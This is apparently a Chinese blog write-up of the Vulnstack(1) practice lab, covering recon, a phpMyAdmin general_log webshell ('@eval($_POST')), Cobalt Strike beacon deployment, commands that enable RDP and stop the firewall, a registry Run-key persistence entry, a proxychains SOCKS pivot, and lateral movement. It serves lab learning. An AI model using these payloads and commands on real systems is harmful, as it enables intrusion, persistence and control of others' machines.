Vulnstack(一)

0x00 Preface

网上有很多关于 Vulnstack(一) 的优质文章,本篇文章仅用于记录笔者自身的学习过程。因能力有限,过程中多多少少存在不完善的地方或是未解决的问题,日后有机会会补充上。

内网渗透基础总结:手把手教你如何进行内网渗透

0x01 环境准备

共有三台机器,Win7是对外的web机,Win2003和Win2008(DC)是内网机器。

  • VM1(Win7)添加一块网卡,分别设置为:VMnet1(仅主机模式)、VMnet8(NAT模式)

  • VM2(Win2003)网卡设置为:VMnet1(仅主机模式)

  • VM2(Win2008)网卡设置为:VMnet1(仅主机模式)

导入虚拟机后不要过多操作如移除打印机等,否则可能会出现一些问题。建议大家每次打开靶机时都先打开Win2008(DC)再打开Win7和Win2003,关闭靶机是先关闭Win7和Win2003再关闭Win2008(DC),尽量避免出现环境问题吧。

首先打开Win2008(DC),使用域成员账号 GOD\liukaifeng01 初始密码 hongrisec@2019 登录,提示密码已过期,更改密码为 hongrisec@2021。接着切换用户,使用域管理员账号 GOD\Administrator 重复上述操作。最后重启Win2008,域数据联网更新后密码将自动同步至Win7与Win2003(域成员账号密码均存储在DC中,域数据更新同步前仍使用本地缓存的密码进行认证)。打开Win7提示激活,直接取消即可:
在这里插入图片描述
找到并打开phpstudy.exe,启动服务(若启动失败,重启Win7即可):
在这里插入图片描述
在这里插入图片描述
打开Firefox访问localhost,已确认服务启动:
在这里插入图片描述
整理一下:

攻击机kali:192.168.202.130
域成员Win7:192.168.202.132&192.168.52.143
域控Win2008:192.168.52.138
域成员Win2003:192.168.52.141
DNS服务器:192.168.52.138

当然喽,这是我们站在上帝视角,便于我们确认环境无误的。正常来说,拿到Win7的IP,然后开始我们的渗透之旅。

0x02 信息收集

一、探测靶机IP

使用nmap对同一C段主机进行扫描:

nmap -sP 192.168.202.1/24

在这里插入图片描述
使用arp-scan对同网段主机进行扫描:

arp-scna -l

在这里插入图片描述
在靶机上执行ifconfig进行确认(实战中拿下靶机前无法实现这一步):
在这里插入图片描述
二、端口扫描

使用nmap对靶机进行全扫描(扫描前确保phpstudy的服务已成功启动):

nmap -Pn -A 192.168.202.129

在这里插入图片描述
使用御剑对靶机进行全扫描:
在这里插入图片描述
三、目录扫描

使用dirb对靶机进行目录扫描 :

dirb "http://192.168.202.132"

在这里插入图片描述
使用dirmap对靶机进行目录扫描:

python3 dirmap.py -i 192.168.202.132 -lcf

在这里插入图片描述
四、指纹识别

使用whatweb对靶机上的网站进行指纹识别:

whtaweb http://192.168.202.132

在这里插入图片描述
使用御剑对靶机上的网站进行指纹识别:
在这里插入图片描述
使用cmscan对靶机上的网站进行指纹识别:
在这里插入图片描述
指纹识别依托于目录爆破,没有扫描到关键的cms信息既可能是字典的问题,也可能是靶机上根本就没有部署这样的网站。

0x03 漏洞探测

访问http://192.168.202.132/phpifno.php:
在这里插入图片描述
phpinfo.php中存在许多关键信息,不过要具体漏洞具体分析。

访问http://192.168.202.132/phpmyadmin:
在这里插入图片描述
此处可能存在session包含和弱口令,如果成功登录不仅可以可以在数据库中翻阅用户敏感信息,还可以尝试日志包含或直接向文件中写shell。

访问http://192.168.202.132/beifen.rar,解压缩后得到yxcms文件夹:
在这里插入图片描述

YXcms是一款基于PHP+MySql开发的网站管理系统,采用轻量级MVC设计模式。

在\protected\config.php中找到phpmyadmin的用户名和密码:
在这里插入图片描述
尝试访问http://192.168.202.132/yxcms:
在这里插入图片描述
访问成功,并在公告信息处找到后台路径及用户名和密码,若成功登陆则可尝试写shell。

0x04 漏洞利用

一、phpmyadmin

登录phpmyadmin,查看用户权限:

show grants for root@localhost;

在这里插入图片描述
查看secure_file_priv:

show variables like "secure";

在这里插入图片描述
查看general_log和general_log_file:

show variables like "%general%";

在这里插入图片描述
打开日志并修改日志路径:

set global general_log="on"; #开启日志
set global general_log_file="C:/phpStudy/WWW/a.php" #修改日志路径

需要注意的是,secure_file_priv的值无法通过上述方法进行修改:
在这里插入图片描述
MySQL 文件读写

写shell后一键连接:

select "<?php @eval($_POST['a']); ?>";

在这里插入图片描述
在这里插入图片描述
二、yxcms

登录后台尝试写shell:
在这里插入图片描述
编辑index_index.php(path:/yxcms/index.php),写shell后一键连接:
在这里插入图片描述
在这里插入图片描述

0x05 权限提升

使用CS建立监听后生成可执行木马:
在这里插入图片描述
使用shell上传:
在这里插入图片描述
shell中执行:
在这里插入图片描述
成功上线:
在这里插入图片描述
进行漏洞提权:
在这里插入图片描述
在这里插入图片描述
成功获取system权限:
在这里插入图片描述

0x06 远程登录

获取凭证:
在这里插入图片描述
查看3389端口是否开启:

netstat -ano|findstr "3389"

在这里插入图片描述
开启3389端口:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

在这里插入图片描述
补充一下,关闭3389端口&开启3389端口的另一种方法:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

在这里插入图片描述
远程连接:
在这里插入图片描述
远程连接失败,本地ping一下试试:
在这里插入图片描述
无法ping通,猜测受到防火墙阻拦,关闭防火墙:

net stop mpssvc

在这里插入图片描述
成功关闭后仍无法ping通,远程连接失败:
在这里插入图片描述
使用CS可以轻松连接,但延迟会很高:
在这里插入图片描述

0x07 权限维持

将C:/phpStudy/WWW/artifact.exe添加为注册表启动项:

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v evil /t REG_SZ /d "C:\phpStudy\WWW\artifact.exe" /f

在这里插入图片描述
关闭Win7并重启CS:
在这里插入图片描述
重启Win7,未能成功上线,权限维持失败。经检验,在shell中执行的命令未能生效,而在本地执行该命令就能成功创建:
在这里插入图片描述
在这里插入图片描述
具体原因暂且不详,也可以尝试一下其他方法如写入Startup目录,或者直接使用CS插件。

0x08 横向移动

一、内网穿透

正常来说,我们是无法访问通过Win7的内网IP访问服务的:
在这里插入图片描述
因此想要漫游内网,就必须要进行内网穿透。这里我们以Win7为跳板,给它挂上代理:
在这里插入图片描述
然后随便选择一个未被占用的端口,这里我选的是9050:
在这里插入图片描述
然后使用proxychain为kali挂上代理:

vim /etc/proxychains4.conf

在这里插入图片描述
使用代理,成功通过Win7内网IP访问服务:

proxychains4 curl http://192.168.52.143

在这里插入图片描述
需要注意的是,不要用ping进行验证,因为proxychains只会代理TCP连接,而ping使用的是ICMP。

这里延申一下,起初我以为通过CS实现的代理仅是简单的正向连接,但实际情况却与之不符。如果使用的是正向连接,那么9050端口就应该是在跳板机(Win7)上打开的,但经查实9050端口却是在kali上打开的:
在这里插入图片描述
在这里插入图片描述
这也就是为什么我们前面使用proxychains设置代理时使用的是127.0.0.1 9050,而不是Win7的192.168.202.132 9050。

故我猜测,通过CS内置功能([beacon] → Pivoting → SOCKS Server)实现的SOCKS v4代理,实质上是通过反弹SOCKS v4服务器实现的:kali开启9050监听和xxx监听(将9050端口的流量转发至xxx端口)然后Win7反弹SOCKS v4服务器到kali的xxx端口。

这样以来就符合实际情况了,kali上所有经过9050的端口的流量都将被转发至xxx端口,xxx端口再将流量转发至Win7,最后再通过Win7访问其他内网机器。由于这里CS服务端和客户端都是在kali上运行的,因此kali既充当攻击机,又充当公网VPS。

举一反三,假设CS的服务端是在Unbuntu上运行的,kali仍作为攻击机运行CS客户端,那么proxychains应该怎么设置呢?没猜错的话应该设置成Unbuntu的IP吧。

如何从零构建对内网穿透的理解

二、信息收集

查看域信息:

net view

在这里插入图片描述
共发现三台主机。注意这里不要使用提权后的system用户去执行命令,否则不会显示Win7的STU1,此外还会导致后面的一些命令无法执行。

查看DNS服务器:

ipconfig/all

在这里插入图片描述
查看当前登录域与用户信息:

net config workstation

在这里插入图片描述
这条命令查询到的信息非常全,包含上条命令查询到的DNS服务器。

前面的命令在CS中都以shell开头,指明执行的是cmd命令。下面我们通过CS内置的功能进行信息收集(前面已经完成了内网穿透,使用kali上的nmap等工具也行,这里不再进行演示)。

探测域内存活主机:
在这里插入图片描述
在这里插入图片描述
不对啊,这45.xx.xx.xx是几个意思?应该是环境问题,确保三台靶机都是开启状态再执行一次:
在这里插入图片描述
在这里插入图片描述
感觉还是有问题的,不知道是什么原因导致的,暂且不管了。

端口扫描:
在这里插入图片描述
在这里插入图片描述
这次的IP应该是正确的了,端口扫描发现三台主机均开启了139端口:
在这里插入图片描述
445/139端口怎么利用不用多说了吧,不了解的自行百度。

三、漏洞利用

首先我们开启一个SMB监听:
在这里插入图片描述
在这里插入图片描述
然后利用CS内置的jump模块进行传递:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x09 Summary

整体来说比较简单,过一段时间会再用msf走一遍这个靶场,到时候再做补充。

  • 12
    点赞
  • 96
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值